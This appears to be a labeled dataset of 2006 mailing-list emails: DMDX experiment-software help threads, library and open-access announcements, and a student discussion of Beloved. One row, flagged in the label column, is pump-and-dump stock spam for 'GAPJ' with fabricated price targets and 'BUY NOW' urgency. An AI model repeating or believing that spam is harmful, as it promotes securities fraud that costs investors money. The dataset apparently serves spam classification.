0"" [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\Sound_Driver] @=""Primary Sound Driver"" [HKEY_CURRENT_USER\\Software\\TimeDX\\3\\Video_Driver] @=""0 Primary Display Driver"" ********** Peter Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA.",0,0 Peter Straffon ,DMDX@psy1.psych.arizona.edu,"Mon, 23 Jan 2006 15:13:15 +1100",[DMDX] DMDX RTF strange conversion - adding spaces in filenames,"Hi, I'm still working on the lockup but I have noticed another strange behavior on DMDX 3.1.4.1. I have a file that looks fine in WORDPAD or WORD but when I parse it (with ignore unknown on) it adds extra spaces that confuse the image file path. I have an RTF file that says >0 m1== c; >0 m2== c; >0 m3== c; >0 m4== c; >0 m5== c ; >0 m6== c; > >0 ""Passage comprehension."" , > ""Press the spacebar for example passage."" ; > >+1 ~6 * ""c:\\512335\\slide1"" ; >+2 ~2 * ""c:\\512335\\slide2"" ; >+3 ~4 * ""c:\\512335\\slide3"" ; the plain text of this section of the RTF is >\\pard\\cf0\\lang1033 0 m1=+4>= c;\\par >0 m2== c;\\par >0 m3== c;\\par >0 m4== c;\\par >0 m5== c ;\\par >0 m6== c;\\par >\\pard\\nowidctlpar\\cf1\\lang3081\\par >\\lang1033\\i\\f1\\fs24 0 ""Passage comprehension."" ,\\par >\\cf0\\lang3081\\i0 \\cf1 \\lang1033\\i ""Press the spacebar for >example passage."" ;\\par >\\lang3081\\i0\\f0\\fs20\\par >\\pard\\cf0\\lang1033 +1 ~6 * ""c:\\\\512335\\\\slide1"" ;\\par >+2 ~2 * ""c:\\\\512335\\\\slide2"" ;\\par >+3 ~4 * ""c:\\\\512335\\\\slide3"" ;\\par >+4 ~3 * ""c:\\\\512335\\\\slide4"" ;\\par but when I look at RTFPARSED.ITM I see >0 m1== c; >0 m2== c; >0 m3== c; >0 m4== c; >0 m5== c ; >0 m6== c; > >0 ""{\\f1 \\fs24 \\i \\cf1 Passage comprehension."" , > ""{\\f1 \\fs24 \\i \\cf1 Press the spacebar for example passage."" ; > >+1 ~6 * ""{c:\\\\512335\\\\slide1"" ; >+2 ~2 * ""{c:\\\\ 512335\\\\ slide2"" ; >+3 ~4 * ""{c:\\\\ 512335\\\\ slide3"" ; >+4 ~3 * ""{c:\\\\ 512335\\\\ slide4"" ; NOTE the extra spaces in the bitmap names for slide2 etc. I tried this on two different machines and get the same result. Can anyone make a suggestion as to what is going on here Peter Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 22 Jan 2006 21:33:38 -0700",[DMDX] Re: DMDX lockup - not responding,"At 02:00 PM 1/23/2006 +1100, you wrote: >Hi DMDXs > I have a strange behavior on a machine that the experiment will > sometimes just stop and lock the machine in such as way that I need to > CTR-ALT-DEL and stop the DMDX task. Always get new video drivers and try the different shortcuts for bad video cards when you get a random crash. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The only possible interpretation of any research whatever in the 'social sciences' is: some do, some don't. - Ernest Rutherford ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 22 Jan 2006 21:41:16 -0700",[DMDX] Re: DMDX RTF strange conversion - adding spaces in filenames,"That's certainly a good one. If you send me (not the list) the item file I'll take a look at it next week when I get time. At 03:13 PM 1/23/2006 +1100, you wrote: >Hi, > I'm still working on the lockup but I have noticed another > strange behavior on DMDX 3.1.4.1. I have a file that looks fine in > WORDPAD or WORD but when I parse it (with ignore unknown on) it adds > extra spaces that confuse the image file path. > >I have an RTF file that says >>0 m1== c; >>0 m2== c; >>0 m3== c; >>0 m4== c; >>0 m5== c ; >>0 m6== c; >> >>0 ""Passage comprehension."" , >> ""Press the spacebar for example passage."" ; >> >>+1 ~6 * ""c:\\512335\\slide1"" ; >>+2 ~2 * ""c:\\512335\\slide2"" ; >>+3 ~4 * ""c:\\512335\\slide3"" ; > >the plain text of this section of the RTF is >>\\pard\\cf0\\lang1033 0 m1=>+5>= c;\\par >>0 m2== c;\\par >>0 m3== c;\\par >>0 m4== c;\\par >>0 m5== c ;\\par >>0 m6== c;\\par >>\\pard\\nowidctlpar\\cf1\\lang3081\\par >>\\lang1033\\i\\f1\\fs24 0 ""Passage comprehension."" ,\\par >>\\cf0\\lang3081\\i0 \\cf1 \\lang1033\\i ""Press the spacebar for >>example passage."" ;\\par >>\\lang3081\\i0\\f0\\fs20\\par >>\\pard\\cf0\\lang1033 +1 ~6 * ""c:\\\\512335\\\\slide1"" ;\\par >>+2 ~2 * ""c:\\\\512335\\\\slide2"" ;\\par >>+3 ~4 * ""c:\\\\512335\\\\slide3"" ;\\par >>+4 ~3 * ""c:\\\\512335\\\\slide4"" ;\\par > >but when I look at RTFPARSED.ITM I see >>0 m1== c; >>0 m2== c; >>0 m3== c; >>0 m4== c; >>0 m5== c ; >>0 m6== c; >> >>0 ""{\\f1 \\fs24 \\i \\cf1 Passage comprehension."" , >> ""{\\f1 \\fs24 \\i \\cf1 Press the spacebar for example passage."" ; >> >>+1 ~6 * ""{c:\\\\512335\\\\slide1"" ; >>+2 ~2 * ""{c:\\\\ 512335\\\\ slide2"" ; >>+3 ~4 * ""{c:\\\\ 512335\\\\ slide3"" ; >>+4 ~3 * ""{c:\\\\ 512335\\\\ slide4"" ; > >NOTE the extra spaces in the bitmap names for slide2 etc. > >I tried this on two different machines and get the same result. > >Can anyone make a suggestion as to what is going on here > >Peter > > Peter Straffon p.straffon@psych.unimelb.edu.au > School of Behavioural Science Phone +61(3) 83447773 > The University Of Melbourne AUSTRALIA. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The only possible interpretation of any research whatever in the 'social sciences' is: some do, some don't. - Ernest Rutherford",0,0 Peter Straffon ,DMDX@psy1.psych.arizona.edu,"Mon, 23 Jan 2006 17:33:25 +1100",[DMDX] Re: DMDX lockup - not responding," Its a brand new machine, only arrived just before Xmas and I have already downloaded the latest drivers from Dell. Have tried the ""Really bad cards"" - did not seem to help but I tried ""DMDX -buffers 2"" and it looked better (actually worked all the way on the first attempt but locked up on the second). A few attempts using ""-buffers 2"" gives me a lockup rate of about 50% of trials compared to close to 100% before. The Dell Optiplex GX520 uses Intel 945G Express Chipset on the M/B. Peter At 03:33 PM 23/01/2006, you wrote: >At 02:00 PM 1/23/2006 +1100, you wrote: >>Hi DMDXs >> I have a strange behavior on a machine that the experiment >> will sometimes just stop and lock the machine in such as way that >> I need to CTR-ALT-DEL and stop the DMDX task. > > Always get new video drivers and try the different shortcuts for > bad video cards when you get a random crash. > > /""\\ > -jonathan (j.c.f.) \\ / > X ",0,0 Michael Proulx ,DMDX@psy1.psych.arizona.edu,"Mon, 23 Jan 2006 12:14:39 +0100",[DMDX] script help: visual search and cueing,"I am trying DMDX for the first time, and am looking for helpful resources. Would anyone with scripts for visual search or attentional cueing share their code? Or is there a common depository where people share such files (such as http://nbs.neuro-bs.com/jones which mostly has Presentation-coded files)? I would be happy to share anything I produce with this system as well. Thanks! Michael Proulx mproulxjhu@gmail.com ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 23 Jan 2006 08:23:06 -0700",[DMDX] Re: DMDX lockup - not responding,"At 05:33 PM 1/23/2006 +1100, you wrote: >Its a brand new machine, only arrived just before Xmas and I have already >downloaded the latest drivers from Dell. > >Have tried the ""Really bad cards"" - did not seem to help but I tried ""DMDX >-buffers 2"" and it looked better (actually worked all the way on the first >attempt but locked up on the second). Pretty sure ""Really Bad"" is -buffers 2. > A few attempts using ""-buffers 2"" gives me a lockup rate of about 50% > of trials compared to close to 100% before. > >The Dell Optiplex GX520 uses Intel 945G Express Chipset on the M/B. Hmm, sounds similar to another issue we saw here for a while but I'm not recalling what the final solution to that one was. I'm thinking it was SP2 problem or was a problem resolved by installing SP2. OTOH, sometimes a video driver is just flat out going to have errors in it and DMDX relies on a feature of DirectX that almost no one else uses let alone uses in a fashion like DMDX does so until I got MS to make the way DMDX uses video drivers part of their WHQL testing a LOT of drivers failed. You could try it without any graphics, the problem I'm vaguely recalling had to do with bitmaps and screen resolutions. Ohh, there it is, , you're using a 8 bit color depth. Absolutely don't use 256 color mode, it's busted even in working video drivers. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is a yo-yo, and mankind ties knots in the string.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 23 Jan 2006 08:27:39 -0700",[DMDX] Re: script help: visual search and cueing,"At 12:14 PM 1/23/2006 +0100, you wrote: >I am trying DMDX for the first time, and am looking for helpful >resources. Would anyone with scripts for visual search or attentional >cueing share their code? Or is there a common depository where people >share such files (such as http://nbs.neuro-bs.com/jones which mostly >has Presentation-coded files)? I would be happy to share anything I >produce with this system as well. Pretty much everything out there is linked to from the utilities page: http://www.u.arizona.edu/~jforster/dmdx.htm That said, for visual search stuff here I'm always writing programs to generate the DMDX scripts. The files are huge and they have to be balanced in tedious ways that makes hand coding them a Herculean task. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is a yo-yo, and mankind ties knots in the string. ",0,1 """Johnson, Neil M"" ","""Johan M. Andersen"" , Robert S Galloway ","Mon, 23 Jan 2006 08:31:07 -0600",RE: Strange Error Messages -- Table.pm," I've seen the same issue, but no problems with the tables. It appears to be an error in the PERL HTML::Table module, not CUFlow. -- Neil Johnson Network Engineering Group Information Technology Services University of Iowa (319) 384-0938 (Desk) (319) 330-2235 (Cell) (319) 341-6838 (Pager) GPG Public Key available upon request. -----Original Message----- From: majordomo listserver [mailto:majordomo@mil.doit.wisc.edu] On Behalf Of Johan M. Andersen Sent: Saturday, January 21, 2006 12:24 PM To: Robert S Galloway Cc: flowscan@net.doit.wisc.edu; cuflow-users@columbia.edu Subject: Re: Strange Error Messages -- Table.pm > Use of uninitialized value in numeric gt (>) at > /usr/lib/perl5/site_perl/5.8.5/HTML/Table.pm line 1684. > sub addRow { addRow is used in the top10 report generation stuff. Do your top talkers tables look weird? I don't see anything that has changed in this area, but will try taking a harder look soon. /johan -- Help mailto:majordomo@net.doit.wisc.edu and say ""help"" in message body Unsubscribe mailto:majordomo@net.doit.wisc.edu and say ""unsubscribe flowscan"" in message body Archive http://net.doit.wisc.edu/~plonka/list/flowscan/archive/ ",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Mon, 23 Jan 2006 09:45:27 -0700",[DMDX] RE: script help: visual search and cueing,"Try the following: http://www.u.arizona.edu/~kforster/dmdx/examples_of_scripts.htm --k.i.f. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > owner@psy1.psych.arizona.edu] On Behalf Of Michael Proulx > Sent: Monday, January 23, 2006 4:15 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] script help: visual search and cueing > > I am trying DMDX for the first time, and am looking for helpful > resources. Would anyone with scripts for visual search or attentional > cueing share their code? Or is there a common depository where people > share such files (such as http://nbs.neuro-bs.com/jones which mostly > has Presentation-coded files)? I would be happy to share anything I > produce with this system as well. > > Thanks! > Michael Proulx > mproulxjhu@gmail.com > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 Robert S Galloway ,"""Johan M. Andersen"" ","Mon, 23 Jan 2006 08:19:46 -0700",Re: Strange Error Messages -- Table.pm,"Everything looks normal and the data values seem correct. Thanks, Robert Johan M. Andersen wrote: >> Use of uninitialized value in numeric gt (>) at >> /usr/lib/perl5/site_perl/5.8.5/HTML/Table.pm line 1684. >> sub addRow { >> > > addRow is used in the top10 report generation stuff. Do your top talkers > tables look weird? I don't see anything that has changed in this area, but > will try taking a harder look soon. > > /johan > > -- > Help mailto:majordomo@net.doit.wisc.edu and say ""help"" in message body > Unsubscribe mailto:majordomo@net.doit.wisc.edu and say > ""unsubscribe flowscan"" in message body > Archive http://net.doit.wisc.edu/~plonka/list/flowscan/archive/ > ",0,1 Peter Suber ,SPARC-OAForum@arl.org,"Mon, 23 Jan 2006 11:21:15 -0500",OECD Study on Open educational Resources,"[Forwarding from the JISC-Repositories list. --Peter.] OECD's Centre for Educational Research and Innovation is carrying out a study on Open Educational Resources (OER) in higher education. As one part of that study we are launching a web based survey for individual teachers, instructors and researchers using or producing OER. We would like to invite anyone working in a higher educational institution that uses or produces open learning content, such as courses, courseware, content modules, learning objects, collections and journals, or open software tools to develop, use, re-use and deliver learning content, to take our survey. It will not take more than 10-15 minutes to complete. This is the link to the survey: http://www2.oecd.org/survey/Surveys/TakeSurvey.aspx?surveyid=1075 Anybody completing the questionnaire will receive a free electronic copy of the final report. For more information regarding the study, please see: www.oecd.org/edu/oer .",0,1 """David Barron <""","""A HREF=mailto:cs511@cs.bu.edu?Subject=Re:%20project%20teams&In-Reply-To=<7DC6B42B-6F91-4249-8B81-41352ED23BD5@mac.com>""","Mon, 23 Jan 2006 14:55:30 -0500",project teams,"Hi everyone, my name is Darius. I am looking to either make or join a team interested in either project 2 or 3. If you are also looking for a team partner, or are in a team that needs a third member, let me know. One of my assets is that I had both CS111 & 112 completely in Java. Thanks, darius Next message: Rick Lavoie: ""Looking for group"" Previous message: Assaf Kfoury: ""several announcements"" Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] This archive was generated by hypermail 2b29 : Tue May 23 2006 - 18:17:01 EDT",0,1 Axel Huth ,DMDX@psy1.psych.arizona.edu,"Tue, 24 Jan 2006 00:06:46 +0100",[DMDX] no reaction to keyboard/Mouse input,"Dear listies, I really want to try DMDX, but it does not work :( I setup everything under WinXP Pro SP2, AMD Athlon 1GHz, 384MB RAM, Mouse is USB (is this a problem? in the TimeDX-program all is fine) keyboard somekind of Micro$oft Natural (ratiopharm) it was really amazing 'cause I was used to use NESU from the MaxPlanck Institute Nijmegen ;-) and then tried to run folling short test-setup: 0 ""Press Space-Bar to proceed""; +1 * ""Rabies"" <% 30>/; -101 * ""Brantly"" /; -102 * ""Skelve"" /; +2 * ""Jump"" /; 0 ""Press Space-Bar to proceed""; I used Testmode 10, so I have an output created in the diagnostic file... As you can see, the events of tapping onto the spacebar (""Leertaste"") or mousebuttons (<+/- Taste 0/1>) are there, but the programme does not react to my interactions: the experiment runs through, even when I don't touch the keyboard or mouse.... I even tried something with mapping but used the wrong syntax.... ;-( Is there any idea, why this happens?? sigh... it seemed to be a good replacement for NESU.. ;-( Thanks in advance for any hint... kind regards, Axel Huth. see ""TESTAxel4.rtf"": =================000 Job is running in TESTMODE 10 EXPERIMENT READY 0 ""Press Space-Bar to proceed""; Preparation A 0.28ms, B 0.00ms +1 * ""Rabies"" <%ms 300>/; Preparation A 0.15ms, B 0.00ms -101 * ""Brantly"" <%ms 300> /; Preparation A 0.14ms, B 0.00ms -102 * ""Skelve"" <%ms 300>/; Preparation A 0.16ms, B 0.00ms +2 * ""Jump"" <%ms 300>/; Preparation A 0.16ms, B 0.00ms 0 ""Press Space-Bar to proceed""; JOB ABORTED DMDX Vers. 3.1.4.1 Item File Parsed file is Getting file -- Wait No scramble Scrambled file is Available DI device (Maus) Available DI device (Tastatur) Available DI device (Maus) ==> why is the Maus (mouse) Device double??? ==> it's surprising for me that device-names are translated into german: Tastatur=keyboard, Maus=mouse) (tomorrow I will try with windows set to english region) Job is running in TESTMODE 10 EXPERIMENT READY 15 video memory buffers at 1024x768 16 bpp Preparation A 0.14ms, B 0.00ms 0 ""Press Space-Bar to proceed""; Preparation A 0.13ms, B 0.77ms +1 * ""Rabies"" <%ms 300>/; Signal From button <+Leertaste> 43 76 101 101 114 116 97 115 116 101 Signal From button <-Leertaste> 45 76 101 101 114 116 97 115 116 101 Item 1 RT 1.00 -- Error Rate 0% Signal From button <+Taste 0> 43 84 97 115 116 101 32 48 Signal From button <-Taste 0> 45 84 97 115 116 101 32 48 Preparation A 0.15ms, B 0.68ms -101 * ""Brantly"" <%ms 300> /; Item 101 RT 101.00 -- Error Rate 0% Signal From button <+Taste 1> 43 84 97 115 116 101 32 49 Signal From button <-Taste 1> 45 84 97 115 116 101 32 49 Preparation A 0.26ms, B 0.62ms -102 * ""Skelve"" <%ms 300>/; Item 102 RT 102.00 -- Error Rate 0% Preparation A 0.32ms, B 0.51ms +2 * ""Jump"" <%ms 300>/; Signal From button <+Taste 0> 43 84 97 115 116 101 32 48 Signal From button <-Taste 0> 45 84 97 115 116 101 32 48 Signal From button <+Taste 1> 43 84 97 115 116 101 32 49 Signal From button <-Taste 1> 45 84 97 115 116 101 32 49 Signal From button <+Taste 1> 43 84 97 115 116 101 32 49 Item 2 RT 2.00 -- Error Rate 0% Signal From button <-Taste 1> 45 84 97 115 116 101 32 49 Preparation A 0.34ms, B 0.53ms 0 ""Press Space-Bar to proceed""; ITEM COUNT NOT ZERO (-4) Final error rate 0% Signal From button <+Leertaste> 43 76 101 101 114 116 97 115 116 101 Signal From button <-Leertaste> 45 76 101 101 114 116 97 115 116 101 Signal From button <+Esc> 43 69 115 99 Signal From button <-Esc> 45 69 115 99 Signal From button <+Leertaste> 43 76 101 101 114 116 97 115 116 101 JOB STOPPED Signal From button <-Leertaste> 45 76 101 101 114 116 97 115 116 101 ================= -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>- Axel Huth huth@phil-fak.uni-duesseldorf.de Public-Key unter: http://www.dfn-pca.de/pgpkserv/extract.html Key-ID=0x9d985dd48130dfe3 -<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>--<>-",0,1 Peter Suber ,SPARC-OAForum@arl.org,"Mon, 23 Jan 2006 16:13:48 -0500",JISC ITT: JISC Information Environment Portal activity - supporting the needs of e-Research,"[Forwarding from the JISC-Development list. --Peter.] *Apologies for cross posting* ============================================================================== JISC ITT: JISC Information Environment Portal activity - supporting the needs of e-Research The JISC wishes to commission a study to investigate and make recommendations on how JISC Portal activity could be enhanced to support the needs of e-Research. The focus for this area of work is resource discovery. The aims and objectives of the study are: * To scope the requirements of e-research within the area of resource discovery with reference to ‘portal’ type services and tools. * To identify gaps and duplication within the current provision (with reference to JISC portal and other relevant activity) therefore to identify potential areas for new work and possibly synergies that could offer a more holistic approach than currently available. * To highlight issues and challenges that will need addressed in terms of serving e-Research requirements and in terms of enhancing portal activity for the IE more generally. * To make recommendations for portal related activity that could be taken forward by JISC. The deadline for receipt of tenders is 1300 hours on Friday 3rd March 2006. Funding of up to £30,000 (Inclusive of VAT and related travel and subsistence) is available for the study. The expected start date for the project is 20th March 2006. The project is expected to last up to four months. Further information including a full Invitation To Tender can be found at: http://www.jisc.ac.uk/index.cfm?name=funding_portaleresearch",0,1 Peter Suber ,SPARC-OAForum@arl.org,"Mon, 23 Jan 2006 16:14:38 -0500",LOCKSS Launches Community Initiative to Preserve Scholarly Content,"[Forwarding from Blackwell. --Peter.] NEWS RELEASE Media Contact: Ginny Foley Public Relations Manager Blackwell Publishing, Inc. Tel: +1 781 388 8334 vfoley@bos.blackwellpublishing.com LOCKSS Launches Community Initiative to Preserve Scholarly Content Boston Mass, January 23, 2006 – A group of publishers, librarians, and learned societies have launched an initiative employing the LOCKSS (Lots of Copies Keep Stuff Safe) technology to support a “large dark archive” that serves as a failsafe repository for published scholarly content. The initiative, Controlled LOCKSS (CLOCKSS), aims to provide assurance to the research community that a disaster, which would prevent the delivery of content, will not obstruct access to journal content. CLOCKSS content or the “orphaned content” would only become available after a “trigger” event, such as the material was no longer available from the publisher. In these situations, a joint advisory board, representing societies, publishers and libraries, will begin the process to determine if the content is orphaned and whether it should be made publicly available. The board ensures that content is controlled but that no one person or sector has authority over orphaned digital materials in the system. “Our community needs to ensure that when content becomes orphaned there is a process through which it becomes publicly accessible,” said Vicky Reich, Director LOCKSS Program, Stanford University Libraries. “The CLOCKSS project offers an alternative solution to archiving and its strength lies in the fact that it has been founded by publishers and librarians and will remain collectively managed.” CLOCKSS provides additional functionality to the LOCKSS system, which is widely known in the scholarly communications world as a technology for ensuring the integrity of digital content, and is used as part of preservation strategies for electronic journals to which libraries subscribe. CLOCKSS also differs from LOCKSS in that participating libraries will archive both subscribed and non-subscribed journals, with the ultimate goal of archiving all of the journals of participating publishers “As more scholars rely upon access to electronic journals, it has become critical to explore ways to ensure long-term availability of journal content,” says Karen Wittenborg, University Librarian, University of Virginia. “This collaborative initiative addresses the uncertainty that librarians have confronted in the digital environment and shows promise of offering a real solution for long-term preservation.” The initial two-year pilot will include at least five research libraries, and several commercial and society publishers. During this time, publishers and libraries will continue to work closely to collect and analyze data and develop a proposal for a full-scale archiving model. As part of a longer-term strategy to permanently preserve published work, CLOCKSS will report the findings to the wider community and begin the dialogue about a global infrastructure to ensure preservation of all past, present, and future scholarly content. Participating Members * Publishers – American Medical Association, American Physiological Society, Blackwell Publishing, Nature Publishing Group, Oxford University Press, SAGE Publications, Springer, Taylor and Francis, John Wiley & Sons, Inc. In addition, Elsevier is participating in all discussions and is sharing in financial support. * Libraries - University of Edinburgh, Indiana University, New York Public Library, Rice University, Stanford University, University of Virginia For more information, visit http://www.lockss.org/clockss .",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 23 Jan 2006 18:28:57 -0700",[DMDX] Re: no reaction to keyboard/Mouse input,"At 12:06 AM 1/24/2006 +0100, you wrote: >Dear listies, >I really want to try DMDX, but it does not work :( Actually, it's fine. It's your use of it that's not working. >... > >Is there any idea, why this happens?? Because you are running the thing in diagnostic mode where DMDX doesn't take any responses from the user... The give away being RTs that are the same as the item number. >sigh... >it seemed to be a good replacement for NESU.. ;-( Alas, like any good tool it's only as good as the person using it ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life is a yo-yo, and mankind ties knots in the string. ",0,0 ,Discussion of Beloved Group 2 ,"Mon, 23 Jan 2006 18:22:11 -0800",Re: [Beloved Group 2] Response 1,"I could be wrong, but here is my theory on the ink. I was reminded of something I saw on PBS about a black man collecting racist paraphernalia and memorabilia for a museum, to show the history of racism. On item was an ad ad for ink, with a young black child nursing from it; I won't quote the offensive ad, but I found a picture of it online (http://www.ferris.edu/jimcrow/collect/milk.jpg) (I found it on the man I saw on PBS's website (ignore the grammar of that sentence) which can be found here:http://www.ferris.edu/jimcrow/collect/) Which all the symbolism of milk, infants, nursing, and motherhood, along with blackness and skin color, this image become especially interesting. Perhaps in the context of Beloved, the ink is representative of how Sethe's race is looked on a disgusting and a grounds to treat her as an animal for the whites, like schoolteacher, until she is able to reproduce that blackness into something useful--i.e., ink, or her slave children which she ""breeds"" as a piece of livestock. Or maybe I'm just over-thinking it. Anyway, the Jim Crow museum thing seems relevant, and I was proud of myself for making the connection...*humor intended there* -Rachel Amy Everman wrote: Amy Everman As I read the first part of Beloved, there was one thing that many people said was significant, but I still don't understand it—what is the significance of ink? When Sethe is obsessed that the schoolteacher used the ink that she made, is he talking about her milk or actual ink that the slaves had to make? I realize that many people may think this is stupid, but I don't get it. I can understand Sethe's horror at having her milk stolen, but what is so important about the ink? Also, as I was reading, I wondered if Halle was ever going to show up again in the present, instead of simply in all the memories Sethe and Paul D. have. One other thing I was wondering, was why did Paul D. show up just to leave again? Was it to simply move the plot along so we could find out about when Sethe tried to kill her children in all the flashbacks, but that could have been accomplished in a different way, so why is Paul D. there? ############################################################# This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to To switch to the INDEX mode, E-mail to Send administrative queries to --------------------------------- Yahoo! Photos – Showcase holiday pictures in hardcover Photo Books. You design it and we’ll bind it!",0,1 ARL Communications ,,,"On the ARL Server (Jan. 23, 2006)","On the ARL Server Week of January 23, 2006 E-News for ARL Directors, December 2005 Sunshine Week 2006: Are We Safer in the Dark? A National Dialogue on Open Government and Secrecy, a national teleconference on March 13, 2006 Application Now Available for the Inaugural ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12-14, 2006 LibQUAL+ International Workshop, February 2-3, 2006, University of Westminster, London, UK Living the Future 6: WOW!--Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5-8, 2006 ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12-14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 r9y3 ,DMDX@psy1.psych.arizona.edu,"Tue, 24 Jan 2006 09:27:38 +0800",watch this stck trade Thursdayday [D E T A I L S] minnow's droop magicians club's,"GAPJ- GOLDEN APPLE OIL/GAS Current Price: $ 0.60 Short Term Price: $ 1.50 3 Month Price: $ 4.50 Before we start with the profile of GAPJ we would like to mention something very important: There is a Big PR Campaign starting on today. And it will go all week so it would be best to get in NOW S T R O N G B U Y R E C O M M E N D A T I O N B U Y N O W Current Press Release Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. (GAPJ - News) is pleased to announce it has completed the initial private placement with Franklin Ross Securities of New Jersey. The terms of the deal provide for Franklin Ross to purchase 181,818 shares of Golden Apple Oil and Gas, Inc. restricted stock priced at 10 per share. The company is currently negotiating with several investor groups for the next phase of financing. Headquartered in Phoenix, Arizona, Golden Apple is an independent oil and gas producer with a focus on North and South American properties. The Company applies advanced technologies to systematically explore and develop its oil and natural gas opportunities. Golden Apple focuses its activities where technology can be used effectively to maximize returns on invested capital by reducing drilling risk and enhancing its ability to cost-effectively grow reserves and production volumes. Golden Apple Oil and Gas, Inc has opened a Canadian office in Toronto, Ontario to facilitate the management of its Canadian operations. All correspondence and communication will continue to be serviced by the company's head office staff in Phoenix Arizona. GET IN NOW, DO""NT REGRET LATER Dadaism capitalizations Sandburg drift microsecond's acceptability hooligan inferences baneberry cachalot incarnation's comparator kilometers activity disables diverting conclude adulthood follows incident dim canning bridgeheads blat edicts acknowledgments bridgeheads Moliere fingerings compression Norway legislates correlation custard dusting ",1,0 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Tue, 24 Jan 2006 09:23:00 -0000",[DMDX] RE: no reaction to keyboard/Mouse input,"I also note the timeout is 2.5 seconds, so that doesn't give you a lot of time to press the buttons before it carries on ! .... Chris -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Axel Huth Sent: 23 January 2006 23:07 To: DMDX@psy1.psych.arizona.edu Cc: anette Rosenbach Subject: [DMDX] no reaction to keyboard/Mouse input Dear listies, I really want to try DMDX, but it does not work :( I setup everything under WinXP Pro SP2, AMD Athlon 1GHz, 384MB RAM, Mouse is USB (is this a problem? in the TimeDX-program all is fine) keyboard somekind of Micro$oft Natural (ratiopharm) it was really amazing 'cause I was used to use NESU from the MaxPlanck Institute Nijmegen ;-) and then tried to run folling short test-setup: 0 ""Press Space-Bar to proceed""; +1 * ""Rabies"" <% 30>/; -101 * ""Brantly"" /; -102 * ""Skelve"" /; +2 * ""Jump"" /; 0 ""Press Space-Bar to proceed""; I used Testmode 10, so I have an output created in the diagnostic file... As you can see, the events of tapping onto the spacebar (""Leertaste"") or mousebuttons (<+/- Taste 0/1>) are there, but the programme does not react to my interactions: the experiment runs through, even when I don't touch the keyboard or mouse.... I even tried something with mapping but used the wrong syntax.... ;-( Is there any idea, why this happens?? sigh... it seemed to be a good replacement for NESU.. ;-( Thanks in advance for any hint... kind regards, Axel Huth. see ""TESTAxel4.rtf"": =================000 Job is running in TESTMODE 10 EXPERIMENT READY 0 ""Press Space-Bar to proceed""; Preparation A 0.28ms, B 0.00ms +1 * ""Rabies"" <%ms 300>/; Preparation A 0.15ms, B 0.00ms -101 * ""Brantly"" <%ms 300> /; Preparation A 0.14ms, B 0.00ms -102 * ""Skelve"" <%ms 300>/; Preparation A 0.16ms, B 0.00ms +2 * ""Jump"" <%ms 300>/; Preparation A 0.16ms, B 0.00ms 0 ""Press Space-Bar to proceed""; JOB ABORTED DMDX Vers. 3.1.4.1 Item File Parsed file is Getting file -- Wait No scramble Scrambled file is Available DI device (Maus) Available DI device (Tastatur) Available DI device (Maus) ==> why is the Maus (mouse) Device double??? ==> it's surprising for me that device-names are translated into german: Tastatur=keyboard, Maus=mouse) (tomorrow I will try with windows set to english region) Job is running in TESTMODE 10 EXPERIMENT READY 15 video memory buffers at 1024x768 16 bpp Preparation A 0.14ms, B 0.00ms 0 ""Press Space-Bar to proceed""; Preparation A 0.13ms, B 0.77ms +1 * ""Rabies"" <%ms 300>/; Signal From button <+Leertaste> 43 76 101 101 114 116 97 115 116 101 Signal From button <-Leertaste> 45 76 101 101 114 116 97 115 116 101 Item 1 RT 1.00 -- Error Rate 0% Signal From button <+Taste 0> 43 84 97 115 116 101 32 48 Signal From button <-Taste 0> 45 84 97 115 116 101 32 48 Preparation A 0.15ms, 